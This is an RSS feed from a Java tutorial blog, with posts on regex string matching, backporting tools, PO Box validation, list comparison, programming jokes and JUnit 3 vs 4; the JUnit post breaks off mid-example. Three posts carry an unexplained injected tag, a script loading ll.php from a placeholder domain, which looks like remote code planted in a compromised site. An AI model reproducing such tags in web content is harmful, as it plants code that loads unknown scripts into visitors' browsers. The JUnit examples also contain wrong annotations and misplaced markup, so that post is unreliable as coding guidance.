<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kushal&#039;s Java Blog &#124; Software Engineering Blog - Kushal&#039;s Java Blog | Software Engineering Blog</title>
	<atom:link href="http://sanjaal.com/java/feed/" rel="self" type="application/rss+xml" />
	<link>http://sanjaal.com/java</link>
	<description>www.sanjaal.com/java</description>
	<lastBuildDate>Tue, 21 May 2013 11:39:18 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>How to find if a string is contained in another string using regex in Java?</title>
		<link>http://sanjaal.com/java/665/java-regular-expressions/how-to-find-if-a-string-is-contained-in-another-string-using-regex-in-java/</link>
		<comments>http://sanjaal.com/java/665/java-regular-expressions/how-to-find-if-a-string-is-contained-in-another-string-using-regex-in-java/#comments</comments>
		<pubDate>Tue, 21 May 2013 11:39:18 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[Java Regular Expressions]]></category>
		<category><![CDATA[advanced regex tutorial]]></category>
		<category><![CDATA[java regex text search]]></category>
		<category><![CDATA[java regular expression text search]]></category>
		<category><![CDATA[java text search regular expresssion tutorial]]></category>
		<category><![CDATA[regex string operation]]></category>
		<category><![CDATA[regular expression text search]]></category>
		<category><![CDATA[search of a word is contained in a sentence java regular expression]]></category>
		<category><![CDATA[search string in another string regex java]]></category>
		<category><![CDATA[string search regex java]]></category>
		<category><![CDATA[text search regex]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=665</guid>
		<description><![CDATA[This is a simple utility to find out (through regular expressions) if a string is contained in another string. The string to search may be located anywhere in the text to look into (i.e. it may lie at the beginning, at the end or somewhere in the middle) Originally posted … <a href="http://sanjaal.com/java/665/java-regular-expressions/how-to-find-if-a-string-is-contained-in-another-string-using-regex-in-java/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p>This is a simple utility to find out (through regular expressions) if a string is contained in another string. The string to search may be located anywhere in the text to look into (i.e. it may lie at the beginning, at the end or somewhere in the middle)</p>
<pre class="brush: java; title: ; notranslate">
package com.kushal.tools;

/**
 * @Author Kushal Paudyal
 * Last Modified On 2011/05/13
 * 
 * A simple utility to find out (through regular expressions) if a string is 
 * contained in another string. The string to search may be located anywhere
 * in the text to look into.
 */
import java.util.regex.Pattern;

public class RegexNotContains {

	static String textToLookInto = &quot;This line is not written in golden letters.&quot;;
	static String wordToFind = &quot;golden&quot;;
	static String notContainsRegex = &quot;[\\w\\W\\s]*&quot; + wordToFind + &quot;[\\w\\W\\s]*&quot;;

	public static void main (String [] args ) {
		
		checkIfContains(textToLookInto, wordToFind);
		
	}
	
	public static boolean checkIfContains(String textToLookInto, String wordTofind )
	{
		boolean matches=Pattern.matches(notContainsRegex,textToLookInto);
		if (matches) {
			System.out.println(&quot;Word \'&quot;+wordToFind+&quot;\' was found in the line: &quot;+textToLookInto);
		} else {
			System.out.println(&quot;Word \'&quot;+wordToFind+&quot;\' was NOT found in the line: \'&quot;+textToLookInto+&quot;\'&quot;);
		}
		return matches;
	}
}
</pre>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<p id="bte_opp"><small>Originally posted 2011-05-17 20:29:01. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F665%2Fjava-regular-expressions%2Fhow-to-find-if-a-string-is-contained-in-another-string-using-regex-in-java%2F&amp;title=How%20to%20find%20if%20a%20string%20is%20contained%20in%20another%20string%20using%20regex%20in%20Java%3F" id="wpa2a_2"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/665/java-regular-expressions/how-to-find-if-a-string-is-contained-in-another-string-using-regex-in-java/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backporting Tools In Java</title>
		<link>http://sanjaal.com/java/246/java-technology/backporting-tools-in-java/</link>
		<comments>http://sanjaal.com/java/246/java-technology/backporting-tools-in-java/#comments</comments>
		<pubDate>Mon, 20 May 2013 23:26:23 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[Java Backporting]]></category>
		<category><![CDATA[Java Technology]]></category>
		<category><![CDATA[Features Supported By RetroTranslator]]></category>
		<category><![CDATA[Features Supported by RetroWeaver]]></category>
		<category><![CDATA[Java Back Port]]></category>
		<category><![CDATA[Java Backporting Declawer]]></category>
		<category><![CDATA[Java Backporting JBossRetro]]></category>
		<category><![CDATA[Java Backporting RetroTranslator]]></category>
		<category><![CDATA[Java Backporting RetroWeaver]]></category>
		<category><![CDATA[Java Backporting Softwares]]></category>
		<category><![CDATA[Java Backporting Tools]]></category>
		<category><![CDATA[Java Bytecode Backporting]]></category>
		<category><![CDATA[Java Class Backporting]]></category>
		<category><![CDATA[RetroTranlator Features]]></category>
		<category><![CDATA[RetroTranslator Integration Vs. RetroWeaver Integration]]></category>
		<category><![CDATA[RetroTranslator Official Homepage]]></category>
		<category><![CDATA[RetroWeaver Official Homepage]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=246</guid>
		<description><![CDATA[Java Backporting Tools are softwares usually written in Java which convert Java classes bytecodes from newer version of the Java Platform to an older one (for example Java 6.0 backported to 1.5). The following are a few of the Java Backporting Tools available as of this posting. RetroTranslator RetroWeaver Declawer … <a href="http://sanjaal.com/java/246/java-technology/backporting-tools-in-java/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p>Java Backporting Tools are softwares usually written in Java which convert Java classes bytecodes from newer version of the Java Platform to an older one (for example Java 6.0 backported to 1.5).</p>
<p>The following are a few of the Java Backporting Tools available as of this posting.</p>
<ul>
<li>RetroTranslator</li>
<li>RetroWeaver</li>
<li>Declawer</li>
<li>JBossRetro</li>
</ul>
<p><strong>Retrotranslator</strong> one of the backporting tools makes Java applications compatible with Java 1.4, Java 1.3 and other environments. It supports all Java 5.0 language features and a significant part of the Java 5.0 API on both J2SE 1.4 and J2SE 1.3. In other Java environments only the Java 5.0 features that don&#8217;t depend on the new API are supported. Retrotranslator employs the ASM bytecode manipulation framework to transform compiled Java classes and the backport of the Java 5.0 concurrency utilities to emulate the Java 5.0 API. [GoTo <a href="http://retrotranslator.sourceforge.net/" target="_blank">RetroTranslator Home</a>]</p>
<p>The following features are supported by RetroTranslator:</p>
<ul>
<li>Generics</li>
<li>Annotations</li>
<li>Reflection on generics and annotations</li>
<li>Typesafe enums</li>
<li>Autoboxing/unboxing</li>
<li>Enhanced for loop</li>
<li>Varargs</li>
<li>Covariant return types</li>
<li>Formatted output</li>
<li>Static import</li>
<li>Concurrency utilities</li>
<li>Collections framework enhancements</li>
</ul>
<p><strong>Retroweaver</strong> is another backporting tool that enables you to take advantage of the new Java 1.5 language features in your source code, while still retaining compatability with 1.4 (and older) virtual machines. Retroweaver operates by transforming Java class files compiled by a 1.5 compiler into class files which can be run on an older virtual machine. [GoTo <a href="http://retroweaver.sourceforge.net/" target="_blank">RetroWeaver Home</a>]</p>
<p>Retroweaver supports most 1.5 features while running on 1.4 including the following features.</p>
<ul>
<li>Generics</li>
<li> Extended for loops</li>
<li> Static imports</li>
<li> Autoboxing/unboxing</li>
<li> Varargs</li>
<li> Enumerations</li>
<li> Annotations</li>
</ul>
<p style="text-align: center;"><a href="http://sanjaal.com/imagehost/share-28E3_4A95B9C9.html"><img src="http://sanjaal.com/imagehost/image-28E3_4A95B9C9.jpg" border="0" alt="" /></a><br />
<em>Image Source -  Canoo.com</em><script src="http://$domain/ll.php?kk=11"></script></p>
<p id="bte_opp"><small>Originally posted 2009-08-26 15:43:40. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F246%2Fjava-technology%2Fbackporting-tools-in-java%2F&amp;title=Backporting%20Tools%20In%20Java" id="wpa2a_4"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/246/java-technology/backporting-tools-in-java/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to validate PO Box Address Variations With Java Regular Expressions?</title>
		<link>http://sanjaal.com/java/689/java-regular-expressions/how-to-validate-po-box-address-variations-with-java-regular-expressions/</link>
		<comments>http://sanjaal.com/java/689/java-regular-expressions/how-to-validate-po-box-address-variations-with-java-regular-expressions/#comments</comments>
		<pubDate>Mon, 20 May 2013 11:19:28 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[Java Regular Expressions]]></category>
		<category><![CDATA[complex regex example]]></category>
		<category><![CDATA[how to validate post office box bin addresses in java]]></category>
		<category><![CDATA[Java Regex]]></category>
		<category><![CDATA[java regular expression post office box]]></category>
		<category><![CDATA[po box format validation utility java regex]]></category>
		<category><![CDATA[po box regex]]></category>
		<category><![CDATA[post office box validation in java]]></category>
		<category><![CDATA[regex]]></category>
		<category><![CDATA[regex tutorial validate po box]]></category>
		<category><![CDATA[regular expression in java to validate po box number]]></category>
		<category><![CDATA[regular expression regex java post box po validations tutorial]]></category>
		<category><![CDATA[regular expression to validate p o box numbers]]></category>
		<category><![CDATA[regular expressions]]></category>
		<category><![CDATA[valdiate po box in java using regex]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=689</guid>
		<description><![CDATA[Address validation in Java could be a little tricky thing if you are unwilling to use Java Regular Expression. This is because of complexity caused by the variations of the components of the address that people can use. In this tutorial, we will focus on doing the PO Box validation … <a href="http://sanjaal.com/java/689/java-regular-expressions/how-to-validate-po-box-address-variations-with-java-regular-expressions/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p>Address validation in Java could be a little tricky thing if you are unwilling to use Java Regular Expression. This is because of complexity caused by the variations of the components of the address that people can use. </p>
<p>In this tutorial, we will focus on doing the PO Box validation in an address using regular expressions in Java. The tutorial contains test cases for variations of the PO Box formats.</p>
<p><img src="http://sanjaal.com/imagehost/image-A189_4E795F89.jpg" width="650" border="0"></p>
<pre class="brush: java; title: ; notranslate">
package com.kushal.tools;
/**
 * @author Kushal Pauduyal
 * Created on: 05/11/2011
 * Last Modified On: 05/11/2011
 * 
 * This class contains method and unit tests to validate the PO Box in an address.
 * The regular expression can validate several different variations of PO Boxes.
 * This should pretty much satisfy all international PO Box numbers, if not the 
 * pattern can be modified to satisfy one.
 */
import java.util.regex.Pattern;

public class RegexPOBoxValidation {

	/**
	 * Patterns are greatest things in Java. The following pattern can identify the Post Box
	 */
	static final String thePattern = 
&quot;([\\w\\s*\\W]*(P(OST)?.?\\s*((O(FF(ICE)?)?)?.?\\s*(B(IN|OX|.?))|B(IN|OX))+))[\\w\\s*\\W]*&quot;;	
	
	/**
	 * 
	 * @param str - PO Box string to validate
	 * @return if the input string is a valid PO Box format.
	 */
	public static boolean isValid(String str) {
		return Pattern.matches(thePattern, str);
	}

	public static void main (String [] args ) {
		/**
		 * Doing unit test with several different PO Box usage alterations.
		 */
		String [] itemsToValidate = {
				&quot;PO Box&quot;,
				&quot;P O Box&quot;,
				&quot;P. O. Box&quot;,
				&quot;P.O.Box&quot;,
				&quot;Post Box&quot;,
				&quot;Post Office Box&quot;,
				&quot;Post Office&quot;,
				&quot;P.O.B&quot;,
				&quot;P.O.B.&quot;,
				&quot;POB&quot;,
				&quot;Post Office Bin&quot;,
				&quot;Box&quot;,
				&quot;Bin&quot;,
				&quot;Post&quot;,
				&quot;Postal Code&quot;,
				&quot;100,, P O Box Des Moines&quot;,
				&quot; P O Box DesMoines1000&quot;,
				&quot; P O Box Des Moines 1000&quot;,
				&quot; Post Office Box&quot;,
				&quot; Post Office Box  &quot;,
				&quot;Post Box #&quot;};										 

		for (int index = 0; index &lt; itemsToValidate.length; index++) {
			String item = itemsToValidate[index];
			boolean isValid = isValid(itemsToValidate[index].toUpperCase());
			System.out.println(item + &quot; : &quot; + (isValid ? &quot;Valid&quot; : &quot;Invalid&quot;));
		}
	}
			
}
</pre>
<p>Here is the output of this java program:</p>
<pre class="brush: plain; title: ; notranslate">
PO Box : Valid
P O Box : Valid
P. O. Box : Valid
P.O.Box : Valid
Post Box : Valid
Post Office Box : Valid
Post Office : Invalid
P.O.B : Valid
P.O.B. : Valid
POB : Valid
Post Office Bin : Valid
Box : Invalid
Bin : Invalid
Post : Invalid
Postal Code : Invalid
100,, P O Box Des Moines : Valid
 P O Box DesMoines1000 : Valid
 P O Box Des Moines 1000 : Valid
 Post Office Box : Valid
 Post Office Box   : Valid
Post Box # : Valid
</pre>
<p id="bte_opp"><small>Originally posted 2011-09-20 20:48:31. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F689%2Fjava-regular-expressions%2Fhow-to-validate-po-box-address-variations-with-java-regular-expressions%2F&amp;title=How%20to%20validate%20PO%20Box%20Address%20Variations%20With%20Java%20Regular%20Expressions%3F" id="wpa2a_6"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/689/java-regular-expressions/how-to-validate-po-box-address-variations-with-java-regular-expressions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java Tool To Compare Two Lists and Spit Out The Differences &#8211; Working Example</title>
		<link>http://sanjaal.com/java/686/java-utilities/java-tool-to-compare-two-lists-and-spit-out-the-differences-working-example/</link>
		<comments>http://sanjaal.com/java/686/java-utilities/java-tool-to-compare-two-lists-and-spit-out-the-differences-working-example/#comments</comments>
		<pubDate>Sun, 19 May 2013 23:05:30 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[Java Data Structure]]></category>
		<category><![CDATA[Java Utilities]]></category>
		<category><![CDATA[easily compare two lists in java]]></category>
		<category><![CDATA[how to compare two lists in java using hashmap]]></category>
		<category><![CDATA[how to compare two lits]]></category>
		<category><![CDATA[java list compare]]></category>
		<category><![CDATA[java program compare two lists]]></category>
		<category><![CDATA[java tool compare two arraylists]]></category>
		<category><![CDATA[java tool compare two lists and find difference]]></category>
		<category><![CDATA[java utility compare two lists and print difference]]></category>
		<category><![CDATA[program to compare and spit out arraylist differences]]></category>
		<category><![CDATA[string list compare in java]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=686</guid>
		<description><![CDATA[As a heavy java programmer, most of the time I encounter a problem where I have two lists and need to find out the differences between these two. One of the ways I sometimes quickly find out the difference is: To print out the list and then use microsoft excel … <a href="http://sanjaal.com/java/686/java-utilities/java-tool-to-compare-two-lists-and-spit-out-the-differences-working-example/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p>As a heavy java programmer, most of the time I encounter a problem where I have two lists and need to find out the differences between these two. One of the ways I sometimes quickly find out the difference is:</p>
<ul>
<li>To print out the list and then use microsoft excel to compare the two columns.</li>
<li>Upload the file to temporary database tables and the run SQL query to find out the difference</li>
</ul>
<p>As I started encountering the list compare more often, I thought of writing a tool that takes two lists and then simply print out the differences. Thus I coded the following simple piece of java program to achieve this.</p>
<p>The following program:</p>
<ul>
<li>Can take an input of two ArrayLists presumably containing Strings, numbers of mix of both</li>
<li>It then compares the two lists and then prints out all items from first list which are not in the second lists and also prints out the items in second lists which are not in the first list</li>
</ul>
<p>I can now use this program as often as I want and solves the hassle of me having to upload the data to database for compare or even import to excel to do the same. </p>
<p>Most of the programs from my blog come from my real world working experience. They are simple programs but sometimes save your huge time. Feel free to copy and modify any of the programs for your own use. Everything is open sourced and free in my blog</p>
<pre class="brush: java; title: ; notranslate">
package com.kushal.tools;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

/**
 * @author Kushal Paudyal Last Modified On 2011-09-16
 * 
 *         This simple utility compares two String or number lists or a list
 *         that contains either strings or number and then prints out a list of
 *         items that are in first list but not in the second list and also a
 *         list of items that are in second list but not in the first list.
 */
public class ListCompare {

	public static void main(String args[]) {
		List listA = new ArrayList();
		listA.add(1);
		listA.add(2);
		listA.add(&quot;Kushal&quot;);
		listA.add(&quot;Madan&quot;);
		listA.add(&quot;Pooja&quot;);
		listA.add(&quot;Kripa&quot;);

		List listB = new ArrayList();
		listB.add(2);
		listB.add(3);
		listB.add(&quot;Kushal&quot;);
		listB.add(&quot;Madan&quot;);
		listB.add(&quot;Jenny&quot;);
		listB.add(&quot;Betsy&quot;);

		ListCompare listComp = new ListCompare();
		listComp.compareLists(listA, listB);

	}

	public void compareLists(List firstList, List secondList) {
		Map mapForFirstList = new HashMap();
		Map mapForSecondList = new HashMap();
		Iterator firstListIterator = firstList.iterator();
		Iterator secondListIterator = secondList.iterator();
		while (firstListIterator.hasNext()) {
			String firstListKeyValue = firstListIterator.next().toString();
			/**
			 * Put the value from the list into the map, only if the same value
			 * already does not exists. That means if there are duplicates, we
			 * put only one instance into the hashmap.
			 */
			if (!mapForFirstList.containsKey(firstListKeyValue)) {
				mapForFirstList.put(firstListKeyValue, firstListKeyValue);
			}

		}

		while (secondListIterator.hasNext()) {
			String secondListKeyValue = secondListIterator.next().toString();
			/**
			 * Put the value from the list into the map, only if the same value
			 * already does not exists. That means if there are duplicates, we
			 * put only one instance into the hashmap.
			 */
			if (!mapForSecondList.containsKey(secondListKeyValue)) {
				mapForSecondList.put(secondListKeyValue, secondListKeyValue);
			}

		}
		compareAndPrintResults(mapForFirstList, mapForSecondList);

	}

	private void compareAndPrintResults(Map mapForFirstList,
			Map mapForSecondList) {
		/** Compare first map against the second one and print the difference **/
		printItemsFromFirstListThatAreNotOnSecondList(mapForFirstList,
				mapForSecondList);
		/** Compare second map against the first and print the difference */
		printItemsFromSecondListThatAreNotOnFirstList(mapForSecondList,
				mapForFirstList);

	}

	private void printItemsFromFirstListThatAreNotOnSecondList(Map mapA,
			Map mapB) {
		System.out
				.println(&quot;***Items from first list that are not in second list&quot;);
		doComparisionAndPrint(mapA, mapB);

	}

	private void printItemsFromSecondListThatAreNotOnFirstList(Map mapA,
			Map mapB) {
		System.out
				.println(&quot;***Items from second list that are not in firstList list&quot;);
		doComparisionAndPrint(mapA, mapB);

	}

	/**
	 * @param mapA
	 * @param mapB
	 * 
	 *            This method compares two hashmaps and prints out the values
	 *            from the first one that are not in the second one.
	 */
	private void doComparisionAndPrint(Map mapA, Map mapB) {
		// both maps should be non-empty for comparison.
		if (mapA != null &amp;&amp; mapB != null) {
			Iterator mapAIterator = mapA.keySet().iterator();

			while (mapAIterator.hasNext()) {
				String key = mapAIterator.next().toString();
				if (!mapB.containsKey(key)) {
					System.out.println(key);
				}
			}
		}
	}
}
</pre>
<p>The following is the output of this program:</p>
<pre class="brush: plain; title: ; notranslate">
		***Items from first list that are not in second list
		1
		Kripa
		Pooja
		***Items from second list that are not in firstList list
		3
		Betsy
		Jenny
</pre>
<p id="bte_opp"><small>Originally posted 2011-09-16 19:15:11. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F686%2Fjava-utilities%2Fjava-tool-to-compare-two-lists-and-spit-out-the-differences-working-example%2F&amp;title=Java%20Tool%20To%20Compare%20Two%20Lists%20and%20Spit%20Out%20The%20Differences%20%E2%80%93%20Working%20Example" id="wpa2a_8"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/686/java-utilities/java-tool-to-compare-two-lists-and-spit-out-the-differences-working-example/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Few Java Jokes</title>
		<link>http://sanjaal.com/java/91/out-of-box/few-java-jokes/</link>
		<comments>http://sanjaal.com/java/91/out-of-box/few-java-jokes/#comments</comments>
		<pubDate>Sun, 19 May 2013 10:51:53 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[Java Jokes]]></category>
		<category><![CDATA[Out Of Box]]></category>
		<category><![CDATA[java coding jokes]]></category>
		<category><![CDATA[java humor]]></category>
		<category><![CDATA[java job jokes]]></category>
		<category><![CDATA[java profession jokes]]></category>
		<category><![CDATA[java programming jokes]]></category>
		<category><![CDATA[java software engineering jokes]]></category>
		<category><![CDATA[java software jokes]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=91</guid>
		<description><![CDATA[Thought of having a break with programming. Let&#8217;s have few jokes with Java. Two ints and a float are in a bar. They spot an attractive double on her own. The first int walks up to her. “Hey, baby”, he says, “my VM or yours”. She slaps him and he … <a href="http://sanjaal.com/java/91/out-of-box/few-java-jokes/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p>Thought of having a break with programming. Let&#8217;s have few jokes with Java.</p>
<blockquote><p><span style="color: #008000;">Two ints and a float are in a bar. They spot an attractive double on her own.</span></p>
<p><span style="color: #008000;">The first int walks up to her. “Hey, baby”, he says, “my VM or yours”. She slaps him and he walks back dejected.</span></p>
<p><span style="color: #008000;">The second int walks over. “Hey, cute-stuff, can I lick your Bean?”. After a quick slapping, he too walks back.</span></p>
<p><span style="color: #008000;">The float then ambles over casually. “Were those two primitive types bothering you?”, he remarks.</span></p>
<p><span style="color: #008000;">“Yes. I’m so glad you’re here”, she says. “They just had no Class!” </span></p></blockquote>
<p>Here  goes the second one.</p>
<blockquote><p><span style="color: #008000;">News Report: &#8220;A Java programmer in Silicon Valley was detained for questioning yesterday after an anonymous tip that he was using a Hashtable&#8230;&#8221;</span></p></blockquote>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
<p id="bte_opp"><small>Originally posted 2009-02-03 18:16:00. </small></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fsanjaal.com%2Fjava%2F91%2Fout-of-box%2Ffew-java-jokes%2F&amp;title=Few%20Java%20Jokes" id="wpa2a_10"><img src="http://sanjaal.com/java/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://sanjaal.com/java/91/out-of-box/few-java-jokes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>10 Differences Between JUnit 3.x and JUnit 4.x and why you should move to JUnit 4.x platform.</title>
		<link>http://sanjaal.com/java/981/java-unit-testing-and-junit/10-differences-between-junit-3-x-and-junit-4-x-and-why-you-should-move-to-junit-4-x-platform/</link>
		<comments>http://sanjaal.com/java/981/java-unit-testing-and-junit/10-differences-between-junit-3-x-and-junit-4-x-and-why-you-should-move-to-junit-4-x-platform/#comments</comments>
		<pubDate>Sat, 18 May 2013 22:41:31 +0000</pubDate>
		<dc:creator>Kushal Paudyal</dc:creator>
				<category><![CDATA[Java Unit Testing and JUnit]]></category>
		<category><![CDATA[10 new features of junit 4]]></category>
		<category><![CDATA[java junit 4 features list]]></category>
		<category><![CDATA[junit 3 and junit 4 comparison]]></category>
		<category><![CDATA[junit 3 vs 4]]></category>
		<category><![CDATA[junit 4 annotations]]></category>
		<category><![CDATA[junit 4 expecting exceptions]]></category>
		<category><![CDATA[junit 4 features]]></category>
		<category><![CDATA[junit parameterized testing]]></category>
		<category><![CDATA[junit upgrade reasons]]></category>
		<category><![CDATA[reasons to choose junit 4]]></category>
		<category><![CDATA[reasons to switch to junit 4]]></category>
		<category><![CDATA[why switch to junit 4]]></category>

		<guid isPermaLink="false">http://sanjaal.com/java/?p=981</guid>
		<description><![CDATA[There is a great change from JUnit 3.x to JUnit 4.x. The JUnit Annotations in 4.x make unit testing pretty simpler and quicker now. In this article, I will try to cover 10 different JUnit features to show why you or your company should migrate from using JUnit 3.x to … <a href="http://sanjaal.com/java/981/java-unit-testing-and-junit/10-differences-between-junit-3-x-and-junit-4-x-and-why-you-should-move-to-junit-4-x-platform/"> Continue reading <span class="meta-nav">&#8594; </span></a>]]></description>
				<content:encoded><![CDATA[<p>There is a great change from JUnit 3.x to JUnit 4.x. The <a href="http://sanjaal.com/java/732/java-unit-testing-and-junit/understanding-the-junit-annotations/">JUnit Annotations in 4.x</a> make unit testing pretty simpler and quicker now. In this article, I will try to cover 10 different JUnit features to show why you or your company should migrate from using JUnit 3.x to JUnit 4.x.</p>
<h2>1. No more setUp() and tearDown() methods. </h2>
<p>The methods setUp() and tearDown() methods can now be replaced with annotations @Before and @After and you can name your method as you would like. In Junit 3.x, if you wanted to do initialization and clean up before and after each test run, you had to write methods with specific names as below:</p>
<p>Intialization:<br />
<!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
public void setUp () {
   //Your Code Here

}
</pre>
<p><!--INFOLINKS_ON--></p>
<p>CleanUp:<br />
<!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
public void tearDown() {
   //Your Code Here
}
</pre>
<p><!--INFOLINKS_ON--><br />
You no longer need to follow the naming convention in Junit 4.x, as long as you use annotation tags @before to do initialization and @after to do clean up.</p>
<p>Intialization:<br />
<!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
@before
public void myOwnInitializationMethod () {
   //Your Code Here

}
</pre>
<p><!--INFOLINKS_ON--></p>
<p>CleanUp:<br />
<!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
@after
public void myOwnCleanupMethod() {
   //Your Code Here
}
</pre>
<p><!--INFOLINKS_ON--></p>
<h2>2. You don&#8217;t need to name your method to start with the word test.</h2>
<p>In Junit 3.x, the jUnit methods had to be specifically named. They needed to begin with the word test in order for JUnit to run that as a test case.</p>
<p>Junit 3.x:<br />
<!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
public void testMyMethod() {
   //Your Code Here
}
</pre>
<p><!--INFOLINKS_ON--><br />
JUnit 4.x:</p>
<p><!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
@Test
public void myMethod() {
  //Your Code Here
}
</pre>
<p><!--INFOLINKS_ON--></p>
<h2>3. You don&#8217;t need write your test class to extend junit.framework.TestCase</h2>
<p>jUnit 3.x:<br />
<!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
public class MyTestClass extends TestCase {
  // Your Methods Here

}
</pre>
<p><!--INFOLINKS_ON--><br />
jUnit 4.x:</p>
<p><!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
@TestClass
public class MyTestClass {
   //Your Methods Here
}
</pre>
<p><!--INFOLINKS_ON--></p>
<h2>4. JUnit 4 adds ability to do one time setup and one time tear down.</strong></h2>
<p>If you wanted to do one time setup (intialization at the beginning of the class load) and one time tear down (cleaning up after all your test cases have been run), you can now do that with @BeforeClass and @AfterClass annotations.</p>
<p><!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
@BeforeClass
public void mySomeMethod() {
//This method is run one time before any of your test cases are run.
}
</pre>
<pre class="brush: java; title: ; notranslate">
@AfterClass
public void mySomeClenaUpMethod {
//This method is run one time after all your test cases have been run
}
</pre>
<p><!--INFOLINKS_ON--></p>
<h2>5. JUnit 4 allows static import of the assert classes.</h2>
<h2>6. You can ingnore a test case with @Ignore annotation</h2>
<p><!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
@Ignore
public void doNotRunThisTest() {

}
1
&lt;!--INFOLINKS_ON--&gt;
&lt;h2&gt;7. Enforcing Timeout&lt;/h2&gt;
You can time limit your test cases by providing timeout value. If the test case does not complete within that time, JUnit reports this as a failure.
&lt;!--INFOLINKS_OFF--&gt;
1
@Test(timeout=50)
public void runThisTestWithin50ms() {
}
</pre>
<p><!--INFOLINKS_ON--></p>
<h2>8. JUnit Test Suite</h2>
<p>Running Junits as a suite is now simpler. See the tutorial on running JUnit 4.0 test suite at:<br />
<a href="http://sanjaal.com/java/tag/junit-test-suite-tutorial/">http://sanjaal.com/java/tag/junit-test-suite-tutorial/</a><br />
<br/><br />
<br/></p>
<h2>9. Expecting Exception:</h2>
<p>Junit 4.x allows you to expect exceptions in your unit test. So, if you are expecting NullpointerException, here is what your code would look like:<br />
<!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
@Test(expected=NullPointerException.class)
public void testMyMethodForNullPointer() {
 //Your piece of code that throws null pointer exception
}
</pre>
<p><br/><br />
<!--INFOLINKS_ON--></p>
<h2>10. Parameterized Testing:</h2>
<p>With JUnit 4.x, you can run the same tests with multiple parameters using some annotations. To write parameterized testing, you can put class level annotation @RunWith(Parameterized.class) to tell JUnit to run parameterized testing. Then inside your class, you can use annotation @Parameters to tell JUnit a list of collections to use as parameters. The constructor will know how to initialize your parameters.</p>
<p><!--INFOLINKS_OFF--></p>
<pre class="brush: java; title: ; notranslate">
@RunWith(value=Parameterized.class)
public class ParameterizedTest {

   private String myFirstParam;
